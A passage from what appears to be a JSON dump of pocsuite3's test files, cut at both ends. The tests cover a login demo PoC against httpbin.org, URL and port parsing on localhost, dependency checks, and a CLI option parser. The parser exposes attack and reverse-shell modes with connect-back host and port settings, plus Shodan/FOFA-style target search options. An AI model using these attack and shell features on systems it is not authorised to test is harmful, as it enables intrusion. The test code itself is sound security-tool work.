    "content": "import os\nimport unittest\nfrom pocsuite3.api import init_pocsuite\nfrom pocsuite3.api import start_pocsuite\nfrom pocsuite3.api import get_results\nfrom pocsuite3.api import paths\n\n\nclass TestCase(unittest.TestCase):\n    def setUp(self):\n        pass\n\n    def tearDown(self):\n        pass\n\n    def verify_result(self):\n        config = {\n            'url': ['http://httpbin.org/post'],\n            'poc': [os.path.join(paths.POCSUITE_ROOT_PATH, \"../tests/login_demo.py\")],\n            'username': \"asd\",\n            'password': 'asdss',\n            'verbose': 0,\n            \"timeout\": 10,\n        }\n        init_pocsuite(config)\n        start_pocsuite()\n        result = get_results().pop()\n        self.assertTrue(result.status == 'success')\n\n    @unittest.skip(reason='significant latency')\n    def test_cookie(self):\n        config = {\n            'url': ['http://httpbin.org/post'],\n            'poc': [os.path.join(paths.POCSUITE_ROOT_PATH, \"../tests/login_demo.py\")],\n            'username': \"asd\",\n            'password': 'asdss',\n            'cookie': 'test=1',\n            'verbose': 0,\n            \"timeout\": 10,\n        }\n        init_pocsuite(config)\n        start_pocsuite()\n        result = get_results().pop()\n        self.assertTrue(result.status == 'success')\n\n    @unittest.skip(reason='significant latency')\n    def test_cookie_dict_params(self):\n        config = {\n            'url': ['http://httpbin.org/post'],\n            'poc': [os.path.join(paths.POCSUITE_ROOT_PATH, \"../tests/login_demo.py\")],\n            'username': \"asd\",\n            'password': 'asdss',\n            'cookie': {\n                \"test\": '123'\n            },\n            'verbose': 0,\n            \"timeout\": 10,\n        }\n        init_pocsuite(config)\n        start_pocsuite()\n        result = get_results().pop()\n        self.assertTrue(result.status == 'success')\n\n    def test_import_run(self):\n        self.verify_result()\n"
  },
  {
    "path": "tests/test_api_get_poc_info.py",
    "content": "import os\nimport unittest\n\nfrom pocsuite3.api import init_pocsuite\nfrom pocsuite3.api import load_file_to_module, paths, load_string_to_module\n\n\nclass TestCase(unittest.TestCase):\n    def setUp(self):\n        pass\n\n    def tearDown(self):\n        pass\n\n    def test_get_info(self):\n        init_pocsuite({})\n        poc_filename = os.path.join(paths.POCSUITE_POCS_PATH, '20190404_WEB_Confluence_path_traversal.py')\n        mod = load_file_to_module(poc_filename)\n        print(mod.get_infos())\n        self.assertTrue(len(mod.get_infos()) > 0)\n\n    def test_get_info_from_string(self):\n        source = r\"\"\"\nfrom collections import OrderedDict\n\nfrom pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests\nfrom pocsuite3.api import OptString\n\n\nclass DemoPOC(POCBase):\n    vulID = '00000'  # ssvid\n    version = '1.0'\n    author = ['chenghs']\n    vulDate = '2019-2-26'\n    createDate = '2019-2-26'\n    updateDate = '2019-2-25'\n    references = ['']\n    name = '自定义命令参数登录例子'\n    appPowerLink = 'http://www.knownsec.com/'\n    appName = 'test'\n    appVersion = 'test'\n    vulType = 'demo'\n    desc = '''这个例子说明了你可以使用console模式设置一些参数或者使用命令中的'--'来设置自定义的参数'''\n    samples = []\n    category = POC_CATEGORY.EXPLOITS.WEBAPP\n\n    def _options(self):\n        o = OrderedDict()\n        o[\"username\"] = OptString('', description='这个poc需要用户登录，请输入登录账号', require=True)\n        o[\"password\"] = OptString('', description='这个poc需要用户密码，请输出用户密码', require=False)\n        return o\n\n    def _verify(self):\n        result = {}\n        payload = \"username={0}&password={1}\".format(self.get_option(\"username\"), self.get_option(\"password\"))\n        r = requests.post(self.url, data=payload)\n        print(r.text)\n        if r.status_code == 200:\n            result['VerifyInfo'] = {}\n            result['VerifyInfo']['URL'] = self.url\n            result['VerifyInfo']['Postdata'] = payload\n\n        return self.parse_output(result)\n\n    def _attack(self):\n        return self._verify()\n\n    def parse_output(self, result):\n        output = Output(self)\n        if result:\n            output.success(result)\n        else:\n            output.fail('target is not vulnerable')\n        return output\n\n\nregister_poc(DemoPOC)\n        \"\"\".strip()\n        init_pocsuite({})\n        mod = load_string_to_module(source)\n        print(mod.get_infos())\n        self.assertTrue(len(mod.get_infos()) > 0)\n"
  },
  {
    "path": "tests/test_build_url.py",
    "content": "import os\nimport tempfile\nimport textwrap\nimport unittest\n\nfrom pocsuite3.api import get_results, init_pocsuite, start_pocsuite\n\n\n# https://stackoverflow.com/questions/23212435/permission-denied-to-write-to-my-temporary-file\nclass CustomNamedTemporaryFile:\n    \"\"\"\n    This custom implementation is needed because of the following limitation of tempfile.NamedTemporaryFile:\n\n    > Whether the name can be used to open the file a second time, while the named temporary file is still open,\n    > varies across platforms (it can be so used on Unix; it cannot on Windows NT or later).\n    \"\"\"\n\n    def __init__(self, mode=\"wb\", delete=True):\n        self._mode = mode\n        self._delete = delete\n\n    def __enter__(self):\n        # Generate a random temporary file name\n        file_name = os.path.join(tempfile.gettempdir(), os.urandom(24).hex())\n        # Ensure the file is created\n        open(file_name, \"x\").close()\n        # Open the file in the given mode\n        self._tempFile = open(file_name, self._mode)\n        return self._tempFile\n\n    def __exit__(self, exc_type, exc_val, exc_tb):\n        self._tempFile.close()\n        if self._delete:\n            os.remove(self._tempFile.name)\n\n\nclass TestCase(unittest.TestCase):\n    def setUp(self):\n        pass\n\n    def tearDown(self):\n        pass\n\n    def test_target_url_format(self):\n        with CustomNamedTemporaryFile(\"w+t\") as f:\n            poc_content = textwrap.dedent(\n                \"\"\"\\\n                    from pocsuite3.api import POCBase, register_poc\n\n\n                    class TestPoC(POCBase):\n                        def _verify(self):\n                            result = {}\n                            result['VerifyInfo'] = {}\n                            result['VerifyInfo']['url'] = self.url\n                            result['VerifyInfo']['scheme'] = self.scheme\n                            result['VerifyInfo']['rhost'] = self.rhost\n                            result['VerifyInfo']['rport'] = self.rport\n                            result['VerifyInfo']['netloc'] = self.netloc\n                            return self.parse_output(result)\n\n\n                    register_poc(TestPoC)\n            \"\"\"\n            )\n            f.write(poc_content)\n\n            # http://127.0.0.1:8080\n            f.seek(0)\n            config = {\n                \"url\": \"http://127.0.0.1:8080\",\n                \"poc\": f.name,\n            }\n            init_pocsuite(config)\n            start_pocsuite()\n            res = get_results()\n            self.assertEqual(\n                res[0][\"result\"][\"VerifyInfo\"][\"url\"], \"http://127.0.0.1:8080\"\n            )\n            self.assertEqual(res[0][\"result\"][\"VerifyInfo\"][\"scheme\"], \"http\")\n            self.assertEqual(res[0][\"result\"][\"VerifyInfo\"][\"rhost\"], \"127.0.0.1\")\n            self.assertEqual(res[0][\"result\"][\"VerifyInfo\"][\"rport\"], 8080)\n            self.assertEqual(res[0][\"result\"][\"VerifyInfo\"][\"netloc\"], \"127.0.0.1:8080\")\n\n            # https://127.0.0.1:8080\n            f.seek(0)\n            config = {\n                \"url\": \"https://127.0.0.1:8080\",\n                \"poc\": f.name,\n            }\n            init_pocsuite(config)\n            start_pocsuite()\n            res = get_results()\n            self.assertEqual(\n                res[0][\"result\"][\"VerifyInfo\"][\"url\"], \"https://127.0.0.1:8080\"\n            )\n            self.assertEqual(res[0][\"result\"][\"VerifyInfo\"][\"scheme\"], \"https\")\n            self.assertEqual(res[0][\"result\"][\"VerifyInfo\"][\"rhost\"], \"127.0.0.1\")\n            self.assertEqual(res[0][\"result\"][\"VerifyInfo\"][\"rport\"], 8080)\n            self.assertEqual(res[0][\"result\"][\"VerifyInfo\"][\"netloc\"], \"127.0.0.1:8080\")\n\n            # 127.0.0.1\n            f.seek(0)\n            config = {\n                \"url\": \"127.0.0.1\",\n                \"poc\": f.name,\n            }\n            init_pocsuite(config)\n            start_pocsuite()\n            res = get_results()\n            self.assertEqual(\n                res[0][\"result\"][\"VerifyInfo\"][\"url\"], \"http://127.0.0.1:80\"\n            )\n            self.assertEqual(res[0][\"result\"][\"VerifyInfo\"][\"scheme\"], \"http\")\n            self.assertEqual(res[0][\"result\"][\"VerifyInfo\"][\"rhost\"], \"127.0.0.1\")\n            self.assertEqual(res[0][\"result\"][\"VerifyInfo\"][\"rport\"], 80)\n            self.assertEqual(res[0][\"result\"][\"VerifyInfo\"][\"netloc\"], \"127.0.0.1:80\")\n\n            # 127.0.0.1:8443\n            f.seek(0)\n            config = {\n                \"url\": \"127.0.0.1:8443\",\n                \"poc\": f.name,\n            }\n            init_pocsuite(config)\n            start_pocsuite()\n            res = get_results()\n            self.assertEqual(\n                res[0][\"result\"][\"VerifyInfo\"][\"url\"], \"https://127.0.0.1:8443\"\n            )\n            self.assertEqual(res[0][\"result\"][\"VerifyInfo\"][\"scheme\"], \"https\")\n            self.assertEqual(res[0][\"result\"][\"VerifyInfo\"][\"rhost\"], \"127.0.0.1\")\n            self.assertEqual(res[0][\"result\"][\"VerifyInfo\"][\"rport\"], 8443)\n            self.assertEqual(res[0][\"result\"][\"VerifyInfo\"][\"netloc\"], \"127.0.0.1:8443\")\n\n            # [fd12:3456:789a:1::2]:8443\n            f.seek(0)\n            config = {\n                \"url\": \"[fd12:3456:789a:1::2]:8443\",\n                \"poc\": f.name,\n            }\n            init_pocsuite(config)\n            start_pocsuite()\n            res = get_results()\n            self.assertEqual(\n                res[0][\"result\"][\"VerifyInfo\"][\"url\"], \"https://[fd12:3456:789a:1::2]:8443\"\n            )\n            self.assertEqual(res[0][\"result\"][\"VerifyInfo\"][\"scheme\"], \"https\")\n            self.assertEqual(res[0][\"result\"][\"VerifyInfo\"][\"rhost\"], \"fd12:3456:789a:1::2\")\n            self.assertEqual(res[0][\"result\"][\"VerifyInfo\"][\"rport\"], 8443)\n            self.assertEqual(res[0][\"result\"][\"VerifyInfo\"][\"netloc\"], \"[fd12:3456:789a:1::2]:8443\")\n\n    def test_url_protocol_correct(self):\n        with CustomNamedTemporaryFile(\"w+t\") as f:\n            poc_content = textwrap.dedent(\n                \"\"\"\\\n                    from pocsuite3.api import POCBase, register_poc, POC_CATEGORY\n\n\n                    class TestPoC(POCBase):\n                        protocol = POC_CATEGORY.PROTOCOL.FTP\n\n                        def _verify(self):\n                            result = {}\n                            result['VerifyInfo'] = {}\n                            result['VerifyInfo']['url'] = self.url\n                            result['VerifyInfo']['scheme'] = self.scheme\n                            result['VerifyInfo']['rhost'] = self.rhost\n                            result['VerifyInfo']['rport'] = self.rport\n                            result['VerifyInfo']['netloc'] = self.netloc\n                            return self.parse_output(result)\n\n\n                    register_poc(TestPoC)\n            \"\"\"\n            )\n            f.write(poc_content)\n            print(f.name)\n\n            # https://127.0.0.1\n            f.seek(0)\n            config = {\"url\": \"https://127.0.0.1\", \"poc\": f.name}\n            init_pocsuite(config)\n            start_pocsuite()\n            res = get_results()\n            self.assertEqual(\n                res[0][\"result\"][\"VerifyInfo\"][\"url\"], \"ftp://127.0.0.1:21\"\n            )\n            self.assertEqual(res[0][\"result\"][\"VerifyInfo\"][\"scheme\"], \"ftp\")\n            self.assertEqual(res[0][\"result\"][\"VerifyInfo\"][\"rhost\"], \"127.0.0.1\")\n            self.assertEqual(res[0][\"result\"][\"VerifyInfo\"][\"rport\"], 21)\n            self.assertEqual(res[0][\"result\"][\"VerifyInfo\"][\"netloc\"], \"127.0.0.1:21\")\n\n            # 127.0.0.1\n            f.seek(0)\n            config = {\"url\": \"127.0.0.1\", \"poc\": f.name}\n            init_pocsuite(config)\n            start_pocsuite()\n            res = get_results()\n            self.assertEqual(\n                res[0][\"result\"][\"VerifyInfo\"][\"url\"], \"ftp://127.0.0.1:21\"\n            )\n            self.assertEqual(res[0][\"result\"][\"VerifyInfo\"][\"scheme\"], \"ftp\")\n            self.assertEqual(res[0][\"result\"][\"VerifyInfo\"][\"rhost\"], \"127.0.0.1\")\n            self.assertEqual(res[0][\"result\"][\"VerifyInfo\"][\"rport\"], 21)\n            self.assertEqual(res[0][\"result\"][\"VerifyInfo\"][\"netloc\"], \"127.0.0.1:21\")\n\n            # 127.0.0.1:8821\n            f.seek(0)\n            config = {\"url\": \"127.0.0.1:8821\", \"poc\": f.name}\n            init_pocsuite(config)\n            start_pocsuite()\n            res = get_results()\n            self.assertEqual(\n                res[0][\"result\"][\"VerifyInfo\"][\"url\"], \"ftp://127.0.0.1:8821\"\n            )\n            self.assertEqual(res[0][\"result\"][\"VerifyInfo\"][\"scheme\"], \"ftp\")\n            self.assertEqual(res[0][\"result\"][\"VerifyInfo\"][\"rhost\"], \"127.0.0.1\")\n            self.assertEqual(res[0][\"result\"][\"VerifyInfo\"][\"rport\"], 8821)\n            self.assertEqual(res[0][\"result\"][\"VerifyInfo\"][\"netloc\"], \"127.0.0.1:8821\")\n\n            # ftp://127.0.0.1:8821\n            f.seek(0)\n            config = {\"url\": \"ftp://127.0.0.1:8821\", \"poc\": f.name}\n            init_pocsuite(config)\n            start_pocsuite()\n            res = get_results()\n            self.assertEqual(\n                res[0][\"result\"][\"VerifyInfo\"][\"url\"], \"ftp://127.0.0.1:8821\"\n            )\n            self.assertEqual(res[0][\"result\"][\"VerifyInfo\"][\"scheme\"], \"ftp\")\n            self.assertEqual(res[0][\"result\"][\"VerifyInfo\"][\"rhost\"], \"127.0.0.1\")\n            self.assertEqual(res[0][\"result\"][\"VerifyInfo\"][\"rport\"], 8821)\n            self.assertEqual(res[0][\"result\"][\"VerifyInfo\"][\"netloc\"], \"127.0.0.1:8821\")\n\n    def test_set_protocol_and_default_port(self):\n        with CustomNamedTemporaryFile(\"w+t\") as f:\n            poc_content = textwrap.dedent(\n                \"\"\"\\\n                    from pocsuite3.api import POCBase, register_poc, POC_CATEGORY\n\n\n                    class TestPoC(POCBase):\n                        protocol = POC_CATEGORY.PROTOCOL.FTP\n                        protocol_default_port = 10086\n\n                        def _verify(self):\n                            result = {}\n                            result['VerifyInfo'] = {}\n                            result['VerifyInfo']['url'] = self.url\n                            result['VerifyInfo']['scheme'] = self.scheme\n                            result['VerifyInfo']['rhost'] = self.rhost\n                            result['VerifyInfo']['rport'] = self.rport\n                            result['VerifyInfo']['netloc'] = self.netloc\n                            return self.parse_output(result)\n\n\n                    register_poc(TestPoC)\n            \"\"\"\n            )\n            f.write(poc_content)\n\n            # https://127.0.0.1\n            f.seek(0)\n            config = {\"url\": \"https://127.0.0.1\", \"poc\": f.name}\n            init_pocsuite(config)\n            start_pocsuite()\n            res = get_results()\n            self.assertEqual(\n                res[0][\"result\"][\"VerifyInfo\"][\"url\"], \"ftp://127.0.0.1:10086\"\n            )\n            self.assertEqual(res[0][\"result\"][\"VerifyInfo\"][\"scheme\"], \"ftp\")\n            self.assertEqual(res[0][\"result\"][\"VerifyInfo\"][\"rhost\"], \"127.0.0.1\")\n            self.assertEqual(res[0][\"result\"][\"VerifyInfo\"][\"rport\"], 10086)\n            self.assertEqual(\n                res[0][\"result\"][\"VerifyInfo\"][\"netloc\"], \"127.0.0.1:10086\"\n            )\n\n            # https://127.0.0.1:21\n            f.seek(0)\n            config = {\"url\": \"https://127.0.0.1:21\", \"poc\": f.name}\n            init_pocsuite(config)\n            start_pocsuite()\n            res = get_results()\n            self.assertEqual(\n                res[0][\"result\"][\"VerifyInfo\"][\"url\"], \"ftp://127.0.0.1:21\"\n            )\n            self.assertEqual(res[0][\"result\"][\"VerifyInfo\"][\"scheme\"], \"ftp\")\n            self.assertEqual(res[0][\"result\"][\"VerifyInfo\"][\"rhost\"], \"127.0.0.1\")\n            self.assertEqual(res[0][\"result\"][\"VerifyInfo\"][\"rport\"], 21)\n            self.assertEqual(res[0][\"result\"][\"VerifyInfo\"][\"netloc\"], \"127.0.0.1:21\")\n\n    def test_custom_protocol_and_default_port(self):\n        with CustomNamedTemporaryFile(\"w+t\") as f:\n            poc_content = textwrap.dedent(\n                \"\"\"\\\n                    from pocsuite3.api import POCBase, register_poc, POC_CATEGORY\n\n\n                    class TestPoC(POCBase):\n                        protocol = \"CUSTOM\"\n                        protocol_default_port = 10086\n\n                        def _verify(self):\n                            result = {}\n                            result['VerifyInfo'] = {}\n                            result['VerifyInfo']['url'] = self.url\n                            result['VerifyInfo']['scheme'] = self.scheme\n                            result['VerifyInfo']['rhost'] = self.rhost\n                            result['VerifyInfo']['rport'] = self.rport\n                            result['VerifyInfo']['netloc'] = self.netloc\n                            return self.parse_output(result)\n\n\n                    register_poc(TestPoC)\n            \"\"\"\n            )\n            f.write(poc_content)\n\n            # https://127.0.0.1\n            f.seek(0)\n            config = {\"url\": \"https://127.0.0.1\", \"poc\": f.name}\n            init_pocsuite(config)\n            start_pocsuite()\n            res = get_results()\n            self.assertEqual(\n                res[0][\"result\"][\"VerifyInfo\"][\"url\"], \"custom://127.0.0.1:10086\"\n            )\n            self.assertEqual(res[0][\"result\"][\"VerifyInfo\"][\"scheme\"], \"custom\")\n            self.assertEqual(res[0][\"result\"][\"VerifyInfo\"][\"rhost\"], \"127.0.0.1\")\n            self.assertEqual(res[0][\"result\"][\"VerifyInfo\"][\"rport\"], 10086)\n            self.assertEqual(\n                res[0][\"result\"][\"VerifyInfo\"][\"netloc\"], \"127.0.0.1:10086\"\n            )\n\n            # https://127.0.0.1:8080\n            f.seek(0)\n            config = {\"url\": \"https://127.0.0.1:8080\", \"poc\": f.name}\n            init_pocsuite(config)\n            start_pocsuite()\n            res = get_results()\n            self.assertEqual(\n                res[0][\"result\"][\"VerifyInfo\"][\"url\"], \"custom://127.0.0.1:8080\"\n            )\n            self.assertEqual(res[0][\"result\"][\"VerifyInfo\"][\"scheme\"], \"custom\")\n            self.assertEqual(res[0][\"result\"][\"VerifyInfo\"][\"rhost\"], \"127.0.0.1\")\n            self.assertEqual(res[0][\"result\"][\"VerifyInfo\"][\"rport\"], 8080)\n            self.assertEqual(res[0][\"result\"][\"VerifyInfo\"][\"netloc\"], \"127.0.0.1:8080\")\n\n    def test_custom_protocol(self):\n        with CustomNamedTemporaryFile(\"w+t\") as f:\n            poc_content = textwrap.dedent(\n                \"\"\"\\\n                    from pocsuite3.api import POCBase, register_poc, POC_CATEGORY\n\n\n                    class TestPoC(POCBase):\n                        protocol = \"CUSTOM\"\n\n                        def _verify(self):\n                            result = {}\n                            result['VerifyInfo'] = {}\n                            result['VerifyInfo']['url'] = self.url\n                            result['VerifyInfo']['scheme'] = self.scheme\n                            result['VerifyInfo']['rhost'] = self.rhost\n                            result['VerifyInfo']['rport'] = self.rport\n                            result['VerifyInfo']['netloc'] = self.netloc\n                            return self.parse_output(result)\n\n\n                    register_poc(TestPoC)\n            \"\"\"\n            )\n            f.write(poc_content)\n\n            # 127.0.0.1:443\n            f.seek(0)\n            config = {\"url\": \"127.0.0.1:443\", \"poc\": f.name}\n            init_pocsuite(config)\n            start_pocsuite()\n            res = get_results()\n            self.assertEqual(\n                res[0][\"result\"][\"VerifyInfo\"][\"url\"], \"https://127.0.0.1:443\"\n            )\n            self.assertEqual(res[0][\"result\"][\"VerifyInfo\"][\"scheme\"], \"https\")\n            self.assertEqual(res[0][\"result\"][\"VerifyInfo\"][\"rhost\"], \"127.0.0.1\")\n            self.assertEqual(res[0][\"result\"][\"VerifyInfo\"][\"rport\"], 443)\n            self.assertEqual(res[0][\"result\"][\"VerifyInfo\"][\"netloc\"], \"127.0.0.1:443\")\n\n    def test_custom_default_port(self):\n        with CustomNamedTemporaryFile(\"w+t\") as f:\n            poc_content = textwrap.dedent(\n                \"\"\"\\\n                    from pocsuite3.api import POCBase, register_poc, POC_CATEGORY\n\n\n                    class TestPoC(POCBase):\n                        protocol_default_port = 10443\n\n                        def _verify(self):\n                            result = {}\n                            result['VerifyInfo'] = {}\n                            result['VerifyInfo']['url'] = self.url\n                            result['VerifyInfo']['scheme'] = self.scheme\n                            result['VerifyInfo']['rhost'] = self.rhost\n                            result['VerifyInfo']['rport'] = self.rport\n                            result['VerifyInfo']['netloc'] = self.netloc\n                            return self.parse_output(result)\n\n\n                    register_poc(TestPoC)\n            \"\"\"\n            )\n            f.write(poc_content)\n\n            # 127.0.0.1\n            f.seek(0)\n            config = {\"url\": \"127.0.0.1\", \"poc\": f.name}\n            init_pocsuite(config)\n            start_pocsuite()\n            res = get_results()\n            self.assertEqual(\n                res[0][\"result\"][\"VerifyInfo\"][\"url\"], \"https://127.0.0.1:10443\"\n            )\n            self.assertEqual(res[0][\"result\"][\"VerifyInfo\"][\"scheme\"], \"https\")\n            self.assertEqual(res[0][\"result\"][\"VerifyInfo\"][\"rhost\"], \"127.0.0.1\")\n            self.assertEqual(res[0][\"result\"][\"VerifyInfo\"][\"rport\"], 10443)\n            self.assertEqual(\n                res[0][\"result\"][\"VerifyInfo\"][\"netloc\"], \"127.0.0.1:10443\"\n            )\n"
  },
  {
    "path": "tests/test_check_install_requires.py",
    "content": "import unittest\nfrom pocsuite3.lib.core.register import PocLoader\n\n\nclass TestCase(unittest.TestCase):\n    def setUp(self):\n        pass\n\n    def test_module_is_none(self):\n        p = PocLoader('testcase', 'testcase')\n        p.set_data('''install_requires = ['', \"\"]''')\n        p.check_requires(p.data)\n\n    def test_built_in_module(self):\n        p = PocLoader('testcase', 'testcase')\n        p.set_data('''install_requires = ['os', 'sys']''')\n        p.check_requires(p.data)\n\n    def test_normal_module(self):\n        p = PocLoader('testcase', 'testcase')\n        p.set_data('''install_requires = ['setuptools']''')\n        p.check_requires(p.data)\n\n    def test_module_include_version(self):\n        p = PocLoader('testcase', 'testcase')\n        p.set_data('''install_requires = ['setuptools==51.1.2']''')\n        p.check_requires(p.data)\n\n        p.set_data('''install_requires = ['setuptools~=51.1.2']''')\n        p.check_requires(p.data)\n\n        p.set_data('''install_requires = ['setuptools>=51.1.2']''')\n        p.check_requires(p.data)\n\n        p.set_data('''install_requires = ['setuptools<=51.1.2']''')\n        p.check_requires(p.data)\n\n    def test_import_name_and_install_name_are_inconsistent(self):\n        p = PocLoader('testcase', 'testcase')\n        p.set_data('''install_requires = ['BeautifulSoup4>=4.9.1:bs4']''')\n        try:\n            p.check_requires(p.data)\n        except SystemExit:\n            pass\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/test_cmd_diy_options.py",
    "content": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# @Time    : 2019/2/26 4:34 PM\n# @Author  : chenghs\n# @File    : test_cmd_diy_options.py\nimport os\nimport unittest\nimport warnings\n\nfrom urllib3.exceptions import InsecureRequestWarning\n\n\nclass TestCase(unittest.TestCase):\n    def setUp(self):\n        warnings.simplefilter(\"ignore\", ResourceWarning)\n        warnings.simplefilter(\"ignore\", InsecureRequestWarning)\n\n    def tearDown(self):\n        pass\n\n    def verify_result(self):\n        pass\n\n    def test_cmd_run(self):\n        path = os.path.dirname(os.path.realpath(__file__))\n\n        eval_path = os.path.join(path, \"../pocsuite3/cli.py\")\n        poc_path = os.path.join(path, \"login_demo.py\")\n        command = (\n            f'python3 {eval_path} -u http://httpbin.org/post -r {poc_path} --verify -v 2  --password mypass123 '\n            '--username \"asd asd\" --testt abctest'\n        )\n        pipeline = os.popen(command)\n        res = pipeline.buffer.read().decode('utf-8')\n        self.assertTrue('1 / 1' in res)\n"
  },
  {
    "path": "tests/test_configfile.py",
    "content": "import os\nimport unittest\nfrom configparser import ConfigParser\nfrom optparse import OptionParser, OptionGroup\n\nfrom pocsuite3.api import paths\n\n\nclass TestCase(unittest.TestCase):\n    def setUp(self):\n        self.root = paths.POCSUITE_ROOT_PATH\n        self.path = os.path.join(self.root, \"../pocsuite_test.ini\")\n        self.path2 = os.path.join(self.root, \"../pocsuite.ini\")\n\n    def tearDown(self):\n        if os.path.isfile(self.path):\n            os.remove(self.path)\n\n    def test_build_ini(self):\n        config = ConfigParser(allow_no_value=True)\n\n        usage = \"pocsuite [options]\"\n        parser = OptionParser(usage=usage)\n        try:\n            parser.add_option(\"--version\", dest=\"show_version\", action=\"store_true\",\n                              help=\"Show program's version number and exit\")\n\n            parser.add_option(\"--update\", dest=\"update_all\", action=\"store_true\",\n                              help=\"Update Pocsuite3\")\n\n            parser.add_option(\"-n\", \"--new\", dest=\"new\", action=\"store_true\", help=\"Create a PoC template\")\n\n            parser.add_option(\"-v\", dest=\"verbose\", type=\"int\", default=1,\n                              help=\"Verbosity level: 0-6 (default 1)\")\n\n            # Target options\n            target = OptionGroup(parser, \"Target\", \"At least one of these \"\n                                                   \"options has to be provided to define the target(s)\")\n            target.add_option(\"-u\", \"--url\", dest=\"url\",\n                              help=\"Target URL/CIDR (e.g. \\\"http://www.site.com/vuln.php?id=1\\\")\")\n\n            target.add_option(\"-f\", \"--file\", dest=\"url_file\",\n                              help=\"Scan multiple targets given in a textual file (one per line)\")\n            target.add_option(\"-p\", \"--ports\", dest=\"ports\",\n                              help=\"add additional port to each target ([proto:]port, e.g. 8080,https:10000)\")\n            target.add_option(\"-s\", dest=\"skip_target_port\", action=\"store_true\",\n                              help=\"Skip target's port, only use additional port\")\n            target.add_option(\"-r\", dest=\"poc\", help=\"Load PoC file from local or remote from seebug website\")\n            target.add_option(\"-k\", dest=\"poc_keyword\", help=\"Filter PoC by keyword, e.g. ecshop\")\n            target.add_option(\"-c\", dest=\"configFile\", help=\"Load options from a configuration INI file\")\n\n            # Mode options\n            mode = OptionGroup(parser, \"Mode\", \"Pocsuite running mode options\")\n\n            mode.add_option(\"--verify\", dest=\"mode\", default='verify', action=\"store_const\", const='verify',\n                            help=\"Run poc with verify mode\")\n\n            mode.add_option(\"--attack\", dest=\"mode\", action=\"store_const\", const='attack',\n                            help=\"Run poc with attack mode\")\n            mode.add_option(\"--shell\", dest=\"mode\", action=\"store_const\", const='shell',\n                            help=\"Run poc with shell mode\")\n            # Requests options\n            request = OptionGroup(parser, \"Request\", \"Network request options\")\n            request.add_option(\"--cookie\", dest=\"cookie\", help=\"HTTP Cookie header value\")\n            request.add_option(\"--host\", dest=\"host\", help=\"HTTP Host header value\")\n            request.add_option(\"--referer\", dest=\"referer\", help=\"HTTP Referer header value\")\n            request.add_option(\"--user-agent\", dest=\"agent\", help=\"HTTP User-Agent header value (default random)\")\n            request.add_option(\"--proxy\", dest=\"proxy\",\n                               help=\"Use a proxy to connect to the target URL (protocol://host:port)\")\n            request.add_option(\"--proxy-cred\", dest=\"proxy_cred\",\n                               help=\"Proxy authentication credentials (name:password)\")\n            request.add_option(\"--timeout\", dest=\"timeout\", type=float, default=10,\n                               help=\"Seconds to wait before timeout connection (default 10)\")\n            request.add_option(\"--retry\", dest=\"retry\", type=int, default=0, help=\"Time out retrials times (default 0)\")\n            request.add_option(\"--delay\", dest=\"delay\", help=\"Delay between two request of one thread\")\n            request.add_option(\"--headers\", dest=\"headers\", help=\"Extra headers (e.g. \\\"key1: value1\\\\nkey2: value2\\\")\")\n            # Account options\n            account = OptionGroup(parser, \"Account\", \"Account options\")\n            account.add_option(\"--ceye-token\", dest=\"ceye_token\", help=\"CEye token\")\n            account.add_option(\"--oob-server\", dest=\"oob_server\",\n                               help=\"Interactsh server to use (default \\\"interact.sh\\\")\")\n            account.add_option(\"--oob-token\", dest=\"oob_token\",\n                               help=\"Authentication token to connect protected interactsh server\")\n            account.add_option(\"--seebug-token\", dest=\"seebug_token\", help=\"Seebug token\")\n            account.add_option(\"--zoomeye-token\", dest=\"zoomeye_token\", help=\"ZooomEye token\")\n            account.add_option(\"--shodan-token\", dest=\"shodan_token\", help=\"Shodan token\")\n            account.add_option(\"--fofa-user\", dest=\"fofa_user\", help=\"Fofa user\")\n            account.add_option(\"--fofa-token\", dest=\"fofa_token\", help=\"Fofa token\")\n            account.add_option(\"--quake-token\", dest=\"quake_token\", help=\"Quake token\")\n            account.add_option(\"--hunter-token\", dest=\"hunter_token\", help=\"Hunter token\")\n            account.add_option(\"--censys-uid\", dest=\"censys_uid\", help=\"Censys uid\")\n            account.add_option(\"--censys-secret\", dest=\"censys_secret\", help=\"Censys secret\")\n            # Modules options\n            modules = OptionGroup(parser, \"Modules\", \"Modules options\")\n            modules.add_option(\"--dork\", dest=\"dork\", action=\"store\", default=None,\n                               help=\"Zoomeye dork used for search\")\n            modules.add_option(\"--dork-zoomeye\", dest=\"dork_zoomeye\", action=\"store\", default=None,\n                               help=\"Zoomeye dork used for search\")\n            modules.add_option(\"--dork-shodan\", dest=\"dork_shodan\", action=\"store\", default=None,\n                               help=\"Shodan dork used for search\")\n            modules.add_option(\"--dork-fofa\", dest=\"dork_fofa\", action=\"store\", default=None,\n                               help=\"Fofa dork used for search\")\n            modules.add_option(\"--dork-quake\", dest=\"dork_quake\", action=\"store\", default=None,\n                               help=\"Quake dork used for search\")\n            modules.add_option(\"--dork-hunter\", dest=\"dork_hunter\", action=\"store\", default=None,\n                               help=\"Hunter dork used for search\")\n            modules.add_option(\"--dork-censys\", dest=\"dork_censys\", action=\"store\", default=None,\n                               help=\"Censys dork used for search\")\n            modules.add_option(\"--max-page\", dest=\"max_page\", type=int, default=1,\n                               help=\"Max page used in search API\")\n            modules.add_option(\"--search-type\", dest=\"search_type\", action=\"store\", default='host',\n                               help=\"search type used in search API, web or host\")\n            modules.add_option(\"--vul-keyword\", dest=\"vul_keyword\", action=\"store\", default=None,\n                               help=\"Seebug keyword used for search\")\n            modules.add_option(\"--ssv-id\", dest=\"ssvid\", action=\"store\", default=None,\n                               help=\"Seebug SSVID number for target PoC\")\n            modules.add_option(\"--lhost\", dest=\"connect_back_host\", action=\"store\", default=None,\n                               help=\"Connect back host for target PoC in shell mode\")\n            modules.add_option(\"--lport\", dest=\"connect_back_port\", action=\"store\", default=None,\n                               help=\"Connect back port for target PoC in shell mode\")\n            modules.add_option(\"--tls\", dest=\"enable_tls_listener\", action=\"store_true\", default=False,\n                               help=\"Enable TLS listener in shell mode\")\n            modules.add_option(\"--comparison\", dest=\"comparison\", help=\"Compare popular web search engines\",\n                               action=\"store_true\",\n                               default=False)\n            modules.add_option(\"--dork-b64\", dest=\"dork_b64\", help=\"Whether dork is in base64 format\",\n                               action=\"store_true\",\n                               default=False)\n\n            # Optimization options\n            optimization = OptionGroup(parser, \"Optimization\", \"Optimization options\")\n            optimization.add_option(\"-o\", \"--output\", dest=\"output_path\",\n                                    help=\"Output file to write (JSON Lines format)\")\n            